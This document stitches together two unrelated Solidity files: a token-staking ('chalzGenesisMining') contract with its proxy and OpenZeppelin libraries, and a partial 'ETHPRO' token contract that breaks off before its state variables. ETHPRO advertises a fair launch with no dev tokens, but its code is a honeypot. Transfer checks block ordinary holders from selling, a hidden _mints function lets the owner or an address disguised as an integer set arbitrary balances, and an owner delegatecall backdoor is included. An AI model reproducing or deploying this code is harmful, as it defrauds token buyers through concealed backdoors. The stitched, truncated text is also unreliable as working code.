event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/chalzGenesisMiningStorage.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract OwnableStorage{
address internal _owner;
}
contract PausableStorage{
bool internal _paused;
}
contract chalzGenesisMiningStorage {
using SafeMath for uint256;
bool constant public ischalzGenesisMining = true;
bool public initiated = false;
// proxy storage
address public admin;
address public implementation;
ERC20 public ChalToken;
ERC20 public chalzToken;
uint public startMiningBlockNum = 11402731;
uint public totalGenesisBlockNum = 172800;
uint public endMiningBlockNum = startMiningBlockNum + totalGenesisBlockNum;
uint public chalzPerBlock = 1150000000000000000;
uint public constant stakeInitialIndex = 1e36;
uint public miningStateBlock = startMiningBlockNum;
uint public miningStateIndex = stakeInitialIndex;
mapping (address => uint) public stakeHolders;
uint public totalStaked;
mapping (address => uint) public stakerIndexes;
mapping (address => uint) public stakerClaimed;
uint public totalClaimed;
}
// File: contracts/chalzGenesisMining.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract chalzGenesisMining is Ownable, Pausable, chalzGenesisMiningStorage {
event Staked(address indexed user, uint256 amount, uint256 total);
event Unstaked(address indexed user, uint256 amount, uint256 total);
event Claimedchalz(address indexed user, uint amount, uint total);
function initiate(uint _startMiningBlocknum, uint _totalGenesisBlockNum, uint _chalzPerBlock, ERC20 _chalz, ERC20 _chal) public onlyOwner{
require(initiated==false, "contract is already initiated");
initiated = true;
require(_totalGenesisBlockNum >= 100, "totalGenesisBlockNum is too small");
if(_startMiningBlocknum == 0){
_startMiningBlocknum = block.number;
}
_chalz.totalSupply(); //sanity check
_chal.totalSupply(); //sanity check
startMiningBlockNum = _startMiningBlocknum;
totalGenesisBlockNum = _totalGenesisBlockNum;
endMiningBlockNum = startMiningBlockNum + totalGenesisBlockNum;
miningStateBlock = startMiningBlockNum;
chalzPerBlock = _chalzPerBlock;
chalzToken = _chalz;
ChalToken = _chal;
}
function stake(uint256 _amount) public whenNotPaused{
createStake(msg.sender, _amount);
}
// @notice internal function for staking
function createStake(
address _address,
uint256 _amount
)
internal
{
claimchalz();
require(block.number<endMiningBlockNum, "staking period has ended");
require(
ChalToken.transferFrom(_address, address(this), _amount),
"Stake required");
stakeHolders[_address] = stakeHolders[_address].add(_amount);
totalStaked = totalStaked.add(_amount);
emit Staked(
_address,
_amount,
stakeHolders[_address]);
}
function unstake(uint256 _amount) public whenNotPaused{
if(_amount==0){
_amount = stakeHolders[msg.sender];
}
if(_amount == 0){ // if staking balance == 0, do nothing
return;
}
withdrawStake(msg.sender, _amount);
}
// @notice internal function for unstaking
function withdrawStake(
address _address,
uint256 _amount
)
internal
{
claimchalz();
if(_amount > stakeHolders[_address]){ //if amount is larger than owned
_amount = stakeHolders[_address];
}
require(
ChalToken.transfer(_address, _amount),
"Unable to withdraw stake");
stakeHolders[_address] = stakeHolders[_address].sub(_amount);
totalStaked = totalStaked.sub(_amount);
updateMiningState();
emit Unstaked(
_address,
_amount,
stakeHolders[_address]);
}
// @notice internal function for updating mining state
function updateMiningState() internal{
if(miningStateBlock == endMiningBlockNum){ //if miningStateBlock is already the end of program, dont update state
return;
}
(miningStateIndex, miningStateBlock) = getMiningState(block.number);
}
// @notice calculate current mining state
function getMiningState(uint _blockNum) public view returns(uint, uint){
require(_blockNum >= miningStateBlock, "_blockNum must be >= miningStateBlock");
uint blockNumber = _blockNum;
if(_blockNum>endMiningBlockNum){ //if current block.number is bigger than the end of program, only update the state to endMiningBlockNum
blockNumber = endMiningBlockNum;
}
uint deltaBlocks = blockNumber.sub(miningStateBlock);
uint _miningStateBlock = miningStateBlock;
uint _miningStateIndex = miningStateIndex;
if (deltaBlocks > 0 && totalStaked > 0) {
uint chalzAccrued = deltaBlocks.mul(chalzPerBlock);
uint ratio = chalzAccrued.mul(1e18).div(totalStaked); //multiple ratio to 1e18 to prevent rounding error
_miningStateIndex = miningStateIndex.add(ratio); //index is 1e18 precision
_miningStateBlock = blockNumber;
}
return (_miningStateIndex, _miningStateBlock);
}
// @notice claim chalz based on current state
function claimchalz() public whenNotPaused {
updateMiningState();
uint claimablechalz = claimablechalz(msg.sender);
stakerIndexes[msg.sender] = miningStateIndex;
if(claimablechalz > 0){
stakerClaimed[msg.sender] = stakerClaimed[msg.sender].add(claimablechalz);
totalClaimed = totalClaimed.add(claimablechalz);
chalzToken.transfer(msg.sender, claimablechalz);
emit Claimedchalz(msg.sender, claimablechalz, stakerClaimed[msg.sender]);
}
}
// @notice calculate claimable chalz based on current state
function claimablechalz(address _address) public view returns(uint){
uint stakerIndex = stakerIndexes[_address];
// if it's the first stake for user and the first stake for entire mining program, set stakerIndex as stakeInitialIndex
if (stakerIndex == 0 && totalStaked == 0) {
stakerIndex = stakeInitialIndex;
}
//else if it's the first stake for user, set stakerIndex as current miningStateIndex
if(stakerIndex == 0){
stakerIndex = miningStateIndex;
}
uint deltaIndex = miningStateIndex.sub(stakerIndex);
uint chalzDelta = deltaIndex.mul(stakeHolders[_address]).div(1e18);
return chalzDelta;
}
// @notice test function
function doNothing() public{
}
/*======== admin functions =========*/
// @notice admin function to pause the contract
function pause() public onlyOwner{
_pause();
}
// @notice admin function to unpause the contract
function unpause() public onlyOwner{
_unpause();
}
// @notice admin function to send chalz to external address, for emergency use
function sendchalz(address _to, uint _amount) public onlyOwner{
chalzToken.transfer(_to, _amount);
}
}
// File: contracts/chalzGenesisMiningProxy.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract chalzGenesisMiningProxy is OwnableStorage, PausableStorage, chalzGenesisMiningStorage {
event NewImplementation(address oldImplementation, address newImplementation);
event NewAdmin(address oldAdmin, address newAdmin);
constructor(chalzGenesisMining newImplementation) public {
admin = msg.sender;
_owner = msg.sender;
require(newImplementation.ischalzGenesisMining() == true, "invalid implementation");
implementation = address(newImplementation);
emit NewImplementation(address(0), implementation);
}
/*** Admin Functions ***/
function _setImplementation(chalzGenesisMining newImplementation) public {
require(msg.sender==admin, "UNAUTHORIZED");
require(newImplementation.ischalzGenesisMining() == true, "invalid implementation");
address oldImplementation = implementation;
implementation = address(newImplementation);
emit NewImplementation(oldImplementation, implementation);
}
/**
* @notice Transfer of admin rights
* @dev Admin function to change admin
* @param newAdmin New admin.
*/
function _sechalzmin(address newAdmin) public {
// Check caller = admin
require(msg.sender==admin, "UNAUTHORIZED");
// Save current value, if any, for inclusion in log
address oldAdmin = admin;
admin = newAdmin;
emit NewAdmin(oldAdmin, newAdmin);
}
/**
* @dev Delegates execution to an implementation contract.
* It returns to the external caller whatever the implementation returns
* or forwards reverts.
*/
fallback() external {
// delegate all other functions to current implementation
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize())
switch success
case 0 { revert(free_mem_ptr, returndatasize()) }
default { return(free_mem_ptr, returndatasize()) }
}
}
}
|
DC1
|
/*
ETHPRO was created for the alphas that understand the power of a fair equal community.
No discrimination of where you come from or what colour of fur you have, we all come from
different walks of life but we are all equal! This token will give everyone a fair chance to get their paws on some Alpha!
AIR LAUNCH
NO PRE SALE
NO DEV TOKENS
NO BOTS
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ETHPRO {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
